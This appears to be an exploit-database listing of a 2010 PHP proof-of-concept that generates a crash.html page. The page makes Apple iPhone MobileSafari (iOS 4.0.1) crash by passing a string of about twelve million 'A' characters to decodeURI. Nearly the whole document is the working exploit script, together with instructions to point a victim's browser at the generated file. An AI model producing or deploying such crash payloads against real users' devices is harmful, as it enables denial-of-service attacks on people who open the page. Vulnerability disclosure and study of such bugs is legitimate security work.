ExploitFixes
Apple iPhone Safari (decodeURI) Remote Crash 2010-12-20 09:15:09

<?php
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# Debug
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# Contact: [email protected]
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# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * decodeURI("A X 12000085");
# -----------------------------------
# Exploit Title: Apple iPhone Safari (decodeURI) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code = "<html>
<head>
<title>Download</title>
</head>
<script type='text/javascript'>
decodeURI('{$string}');
</script>
</html>";
if(file_put_contents("./crash.html", $code)) {
echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
echo("Cannot create file.\r\n");
}
?>
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